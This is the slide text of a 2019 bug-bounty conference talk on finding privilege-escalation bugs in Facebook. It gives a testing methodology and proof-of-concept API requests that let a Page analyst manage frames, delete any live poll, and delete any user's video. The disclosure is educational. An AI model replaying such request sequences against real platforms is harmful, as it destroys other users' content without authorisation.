My talk at BountyCon by Facebook & Google at Facebook APAC HQ, Singapore - Mar 2019 -"How To Find High Impact Privilege Escalation Bugs"

1. 30 March 2019 • Facebook HQ

2. How To Find High
Impact Privilege
Escalation Bugs
Pranav Hivarekar

3. About Me
• Pranav Hivarekar
• Active Bug Hunter
• Facebook (Top 10), Nest, Snapchat, etc.
• MS Degree in Cybersecurity (USA)
• Worked At NCCGroup, NYC, USA
• Founder @PeritusInfosec
• Trainings @PeritusInfosec
• Pentester @Cobalt.io
@HivarekarPranav

4. Agenda
• My First Bounty Story
• Simple Privilege Escalation Methodology
• Case Studies
• Conclusion
@HivarekarPranav

5. Facebook 2018 Stats
• 48 Bugs Reported
• 27 Valid Bugs
• 22 Bounties
@HivarekarPranav

6. Simple Privilege Escalation Testing Methodology
1. Find endpoints
2. What are roles?
3. Try Privilege Escalation
1. Access/Modify another user’s data
2. Escalate privileges from lower to higher role
@HivarekarPranav

7. Case Study 1
Page Analyst Can Create/Edit/Modify
Frames Owned By Page
@HivarekarPranav

8. Background Information
• Facebook Pages
• Frames Studio
@HivarekarPranav

9. Frames
@HivarekarPranav

10. What Are Roles?
Source : https://www.facebook.com/help/289207354498410
@HivarekarPranav

11. Proof Of Concept
1. Create a page and add an Admin and Analyst.
2. Via Analyst's account visit:
https://www.facebook.com/fbcameraeffects/ma
nage/
3. Now, analyst can create `frames` for the `Page`
as well as edit/delete/modify frames created by
other admins.
@HivarekarPranav

12. Bounty – 500$
@HivarekarPranav

13. Case Study 2
Deleting Live Polls From Any Live Video
@HivarekarPranav

14. Background Information
• Facebook Pages/ User Profiles
• Polls on videos
• GraphAPI – https://graph.facebook.com
@HivarekarPranav

15. Live Polls
@HivarekarPranav

16. Proof Of Concept
Get `poll_id` from any video
@HivarekarPranav

17. Proof Of Concept
Fire following request:
https://graph.facebook.com/<poll_id>?action=DEL
ETE_POLL&fields&access_token=<internal_app_ac
cess_token>&method=POST
This will delete the poll permanently.
@HivarekarPranav

18. Proof Of Concept
Poll got deleted!
@HivarekarPranav

19. Bounty – 1500$
@HivarekarPranav

20. Case Study 3
Delete Any Video From Facebook
@HivarekarPranav

21. Background Information
• Facebook Pages/User Profiles
• Video Comments
• GraphAPI – https://graph.facebook.com
@HivarekarPranav

22. Video Comments
@HivarekarPranav

23. Proof Of Concept
1] Create a comment on a page post via API
API call : Reference
(https://developers.facebook.com/docs/graph-
api/reference/object/comments/)
POST /<post id>/comments?message=test
@HivarekarPranav

24. Proof Of Concept
2] Edit the comment and attach a VIDEO of your choice via API
eg. We will delete videos from (https://www.facebook.com/Testyeah-
1580326912211117/?fref=ts)
Victim's video id : 1739331926310614
API call : (https://developers.facebook.com/docs/graph-
api/reference/v2.6/comment)
POST /<comment id>?attachment_id= 1739331926310614
@HivarekarPranav

25. Proof Of Concept
3] Delete the comment
API call :
(https://developers.facebook.com/docs/graph-
api/reference/v2.6/comment)
DELETE /<comment id>
@HivarekarPranav

26. Bounty – 15000$
@HivarekarPranav

27. Conclusion
To Be Successful At Bug Bounties Rely On
METHODOLOGIES!
@HivarekarPranav

28. @HivarekarPranav
To learn more about Pranav Hivarekar, please check:
Personal Blog : https://pranavhivarekar.in/
Facebook. : http://www.facebook.com/pranavhivarekar
Twitter : https://twitter.com/HivarekarPranav
Linkedin : https://linkedin.com/in/pranavhivarekar